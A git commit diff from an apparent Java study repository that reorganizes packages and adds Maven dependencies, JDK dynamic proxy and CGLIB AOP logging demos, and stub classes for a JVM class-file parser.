 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/StringInfo.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/field/Field.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/method/Method.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ClassFilePrinter.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/util/Util.java
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/ActionPojoParseXML.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/LoginAction.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/Struts.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/View.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/Configuration.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/ConfigurationException.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/ConfigurationTest.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/LoginAction.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/ReflectionUtil.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/ReflectionUtilTest.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/Struts.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/StrutsTest.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{ => coderising}/litestruts/format/View.java (100%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure}/MyIterator.java (66%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure}/MyList.java (81%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure/array}/MyArrayUtil.java (99%)
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrame.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/list/LRUPageFrameTest.java
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure/list}/MyArrayList.java (94%)
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure/list}/MyLinkedList.java (97%)
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/CircleQueue.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/Josephus.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/JosephusTest.java
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure/queue}/MyQueue.java (62%)
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/QueueWithTwoStacks.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExpr.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixExprTest.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfix.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/InfixToPostfixTest.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExpr.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PostfixExprTest.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExpr.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/PrefixExprTest.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/Token.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParser.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/queue/expr/TokenParserTest.java
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure/stack}/MyStack.java (81%)
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtil.java
 create mode 100644 group04/1796244932/learn01/src/main/java/com/dudy/learn01/data_structure/stack/StackUtilTest.java
 rename group04/1796244932/learn01/src/main/java/com/dudy/learn01/{base => data_structure/tree}/MyBinaryTree.java (96%)
 delete mode 100755 group04/1796244932/learn01/src/main/java/com/dudy/learn01/litestruts/format/struts.xml
 rename group04/1796244932/learn01/src/test/java/com/dudy/learn01/{ => data_structure}/base/MyArrayListTest.java (87%)
 rename group04/1796244932/learn01/src/test/java/com/dudy/learn01/{ => data_structure}/base/MyArrayUtilTest.java (95%)
 rename group04/1796244932/learn01/src/test/java/com/dudy/learn01/{ => data_structure}/base/MyBinaryTreeTest.java (84%)
 rename group04/1796244932/learn01/src/test/java/com/dudy/learn01/{ => data_structure}/base/MyLinkedListTest.java (94%)
 rename group04/1796244932/learn01/src/test/java/com/dudy/learn01/{ => data_structure}/base/MyQueueTest.java (79%)
 rename group04/1796244932/learn01/src/test/java/com/dudy/learn01/{ => data_structure}/base/MyStackTest.java (90%)

diff --git a/group04/1796244932/learn01/pom.xml b/group04/1796244932/learn01/pom.xml
index f62b63ec4b..974a96ddcd 100644
--- a/group04/1796244932/learn01/pom.xml
+++ b/group04/1796244932/learn01/pom.xml
@@ -44,6 +44,38 @@
       <version>4.0.0.Alpha8</version>
     </dependency>
 
+
+    <!-- https://mvnrepository.com/artifact/javassist/javassist -->
+    <dependency>
+      <groupId>javassist</groupId>
+      <artifactId>javassist</artifactId>
+      <version>3.12.1.GA</version>
+    </dependency>
+
+
+    <!-- https://mvnrepository.com/artifact/cglib/cglib -->
+    <dependency>
+      <groupId>cglib</groupId>
+      <artifactId>cglib</artifactId>
+      <version>2.2.2</version>
+    </dependency>
+
+    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->
+    <dependency>
+      <groupId>org.apache.commons</groupId>
+      <artifactId>commons-lang3</artifactId>
+      <version>3.5</version>
+    </dependency>
+
+    <!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
+    <dependency>
+      <groupId>commons-io</groupId>
+      <artifactId>commons-io</artifactId>
+      <version>2.4</version>
+    </dependency>
+
+
+
   </dependencies>
 
 
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/Business.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/Business.java
new file mode 100644
index 0000000000..5c7526ca83
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/Business.java
@@ -0,0 +1,16 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+
+/**
+ * Created by dudy on 2017/3/22.
+ */
+public class Business implements  IBusiness,IBusiness2{
+    @Override
+    public void dosomething() {
+        System.out.println("dosomething.....");
+    }
+
+    @Override
+    public void dosomething2() {
+        System.out.println("dosomething2.....");
+    }
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/CGlibDemo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/CGlibDemo.java
new file mode 100644
index 0000000000..c49131ce59
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/CGlibDemo.java
@@ -0,0 +1,28 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+
+import net.sf.cglib.proxy.Enhancer;
+
+/**
+ * Created by dudy on 2017/3/22.
+ */
+public class CGlibDemo {
+
+    public static void main(String[] args) {
+        byteCodeGe();
+    }
+
+    public static  void byteCodeGe(){
+        //创建一个织入器
+        Enhancer enhancer = new Enhancer();
+        // 设置父类
+        enhancer.setSuperclass(Business.class);
+        // 设置需要织入的逻辑
+        enhancer.setCallback(new LogIntercept());
+        //使用织入器创建子类
+        IBusiness2  newBusiness = (IBusiness2) enhancer.create();
+        newBusiness.dosomething2();
+
+    }
+
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/DynamicProxyDemo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/DynamicProxyDemo.java
new file mode 100644
index 0000000000..0ffd41eeb9
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/DynamicProxyDemo.java
@@ -0,0 +1,25 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+import java.lang.reflect.Proxy;
+
+/**
+ * Created by dudy on 2017/3/22.
+ */
+public class DynamicProxyDemo {
+
+
+    public static void main(String[] args) {
+
+        // 需要代理的接口，被代理类实现的多个接口都必须放在这里
+        Class[] proxyInterface  = new Class[]{IBusiness.class,IBusiness2.class};
+        // 构建AOP的Advice，这里需要传入业务类的实例
+        LogInvocationHandler handler = new LogInvocationHandler(new Business());
+        //生成代理类的字节码加载器
+        ClassLoader loader  = DynamicProxyDemo.class.getClassLoader();
+        //织入器，织入代码并生成代理类
+        IBusiness2 proxyBusiness = (IBusiness2) Proxy.newProxyInstance(loader, proxyInterface, handler);
+
+        proxyBusiness.dosomething2();
+    }
+
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness.java
new file mode 100644
index 0000000000..d18ff447c9
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness.java
@@ -0,0 +1,8 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+
+/**
+ * Created by dudy on 2017/3/22.
+ */
+public interface IBusiness {
+    void  dosomething();
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness2.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness2.java
new file mode 100644
index 0000000000..375de2f103
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/IBusiness2.java
@@ -0,0 +1,9 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+
+/**
+ * Created by dudy on 2017/3/22.
+ */
+public interface IBusiness2 {
+
+    public  void  dosomething2();
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogIntercept.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogIntercept.java
new file mode 100644
index 0000000000..5e3c59cf01
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogIntercept.java
@@ -0,0 +1,25 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+
+import net.sf.cglib.proxy.Callback;
+import net.sf.cglib.proxy.MethodInterceptor;
+import net.sf.cglib.proxy.MethodProxy;
+
+import java.lang.reflect.Method;
+
+/**
+ * Created by dudy on 2017/3/22.
+ */
+public class LogIntercept implements MethodInterceptor {
+    @Override
+    public Object intercept(Object o, Method method, Object[] objects, MethodProxy proxy) throws Throwable {
+        //执行原有的逻辑，注意这里是invokeSuper
+        Object rev = proxy.invokeSuper(o, objects);
+        //执行织入的日志
+        if (method.getName().equals("dosomething2")){
+            System.out.println("CGlib dosometing2.....");
+        }
+
+
+        return rev;
+    }
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogInvocationHandler.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogInvocationHandler.java
new file mode 100644
index 0000000000..3f3a8ece82
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/DynamicProxy/LogInvocationHandler.java
@@ -0,0 +1,30 @@
+package  com.dudy.learn01.base.aop.DynamicProxy;
+
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+
+/**
+ * Created by dudy on 2017/3/22.
+ * 打印日志的切面
+ */
+public class LogInvocationHandler implements InvocationHandler{
+
+    private  Object  targer; //目标对象
+
+    public LogInvocationHandler(Object targer) {
+        this.targer = targer;
+    }
+
+    @Override
+    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
+
+        // 执行原有逻辑
+        Object rev = method.invoke(targer, args);
+        // 执行织入的日志，你可以控制哪些哪些方法执行切入逻辑
+        if (method.getName().equals("dosomething2")){
+            System.out.println("记录日志");
+        }
+
+        return rev;
+    }
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/node.md b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/node.md
new file mode 100644
index 0000000000..0a9f1b14b9
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/aop/node.md
@@ -0,0 +1,7 @@
+## AOP 实现机制
+
+### AOP各种实现
+aop就是面向切面编程， 可以从几个层面来实现AOP
+编译期
+字节码加载前
+字节码加载后
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/juc/ThreadLocalTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/juc/ThreadLocalTest.java
similarity index 98%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/juc/ThreadLocalTest.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/juc/ThreadLocalTest.java
index e4239ae521..b4d89c8dce 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/juc/ThreadLocalTest.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/base/juc/ThreadLocalTest.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.juc;
+package com.dudy.learn01.base.juc;
 
 /**
  * Created by dudy on 2017/3/9.
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/DownloadThread.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/DownloadThread.java
similarity index 92%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/DownloadThread.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/DownloadThread.java
index 97ca01e13b..52b14143e0 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/DownloadThread.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/DownloadThread.java
@@ -1,6 +1,7 @@
-package com.dudy.learn01.download;
+package com.dudy.learn01.coderising.download;
 
-import com.dudy.learn01.download.api.Connection;
+
+import com.dudy.learn01.coderising.download.api.Connection;
 
 import java.io.*;
 import java.util.concurrent.BrokenBarrierException;
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/FileDownloader.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/FileDownloader.java
similarity index 88%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/FileDownloader.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/FileDownloader.java
index eee5825b84..92fe70fcff 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/FileDownloader.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/FileDownloader.java
@@ -1,8 +1,10 @@
-package com.dudy.learn01.download;
+package com.dudy.learn01.coderising.download;
 
-import com.dudy.learn01.download.api.Connection;
-import com.dudy.learn01.download.api.ConnectionManager;
-import com.dudy.learn01.download.api.DownloadListener;
+
+
+import com.dudy.learn01.coderising.download.api.Connection;
+import com.dudy.learn01.coderising.download.api.ConnectionManager;
+import com.dudy.learn01.coderising.download.api.DownloadListener;
 
 import java.io.IOException;
 import java.util.concurrent.CountDownLatch;
@@ -14,9 +16,9 @@ public class FileDownloader {
 
     private  String url;
 	
-	private  DownloadListener listener;
+	private DownloadListener listener;
 	
-	private  ConnectionManager cm;
+	private ConnectionManager cm;
 	
 
 	public FileDownloader(String _url) {
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/Connection.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/Connection.java
similarity index 89%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/Connection.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/Connection.java
index 513c0004e9..e23cdeec20 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/Connection.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/Connection.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.download.api;
+package com.dudy.learn01.coderising.download.api;
 
 import java.io.IOException;
 
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/ConnectionException.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/ConnectionException.java
similarity index 52%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/ConnectionException.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/ConnectionException.java
index 71af9bf06d..4bfee9d3df 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/ConnectionException.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/ConnectionException.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.download.api;
+package com.dudy.learn01.coderising.download.api;
 
 public class ConnectionException extends Exception {
 
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/ConnectionManager.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/ConnectionManager.java
similarity index 84%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/ConnectionManager.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/ConnectionManager.java
index 5f4777f6e0..2ca142435e 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/ConnectionManager.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/ConnectionManager.java
@@ -1,4 +1,4 @@
-package com.dudy.learn01.download.api;
+package com.dudy.learn01.coderising.download.api;
 
 import java.io.IOException;
 import java.net.MalformedURLException;
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/DownloadListener.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/DownloadListener.java
similarity index 58%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/DownloadListener.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/DownloadListener.java
index fa3b5bead0..79f47e537a 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/api/DownloadListener.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/api/DownloadListener.java
@@ -1,5 +1,4 @@
-package com.dudy.learn01.download.api;
-
+package com.dudy.learn01.coderising.download.api;
 public interface DownloadListener {
     public void notifyFinished();
 }
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/impl/ConnectionImpl.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/impl/ConnectionImpl.java
similarity index 96%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/impl/ConnectionImpl.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/impl/ConnectionImpl.java
index 5eb6b45d41..ffc93c32e0 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/impl/ConnectionImpl.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/impl/ConnectionImpl.java
@@ -1,6 +1,7 @@
-package com.dudy.learn01.download.impl;
+package com.dudy.learn01.coderising.download.impl;
 
-import com.dudy.learn01.download.api.Connection;
+
+import com.dudy.learn01.coderising.download.api.Connection;
 
 import java.io.*;
 import java.net.HttpURLConnection;
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/impl/ConnectionManagerImpl.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/impl/ConnectionManagerImpl.java
similarity index 61%
rename from group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/impl/ConnectionManagerImpl.java
rename to group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/impl/ConnectionManagerImpl.java
index 809f98d91b..b4f172cab2 100644
--- a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/download/impl/ConnectionManagerImpl.java
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/download/impl/ConnectionManagerImpl.java
@@ -1,8 +1,10 @@
-package com.dudy.learn01.download.impl;
+package com.dudy.learn01.coderising.download.impl;
 
-import com.dudy.learn01.download.api.Connection;
-import com.dudy.learn01.download.api.ConnectionException;
-import com.dudy.learn01.download.api.ConnectionManager;
+
+
+import com.dudy.learn01.coderising.download.api.Connection;
+import com.dudy.learn01.coderising.download.api.ConnectionException;
+import com.dudy.learn01.coderising.download.api.ConnectionManager;
 
 import java.io.IOException;
 import java.net.HttpURLConnection;
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/AttributeInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..c33bdd2c66
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.dudy.learn01.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/CodeAttr.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..2bd2185db5
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,69 @@
+package com.dudy.learn01.coderising.jvm.attr;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.cmd.ByteCodeCommand;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+import com.dudy.learn01.coderising.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LineNumberTable.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..c40599a88c
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,55 @@
+package com.dudy.learn01.coderising.jvm.attr;
+
+
+import com.dudy.learn01.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableItem.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..ac72775739
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.dudy.learn01.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableTable.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..c104c3a648
--- /dev/null
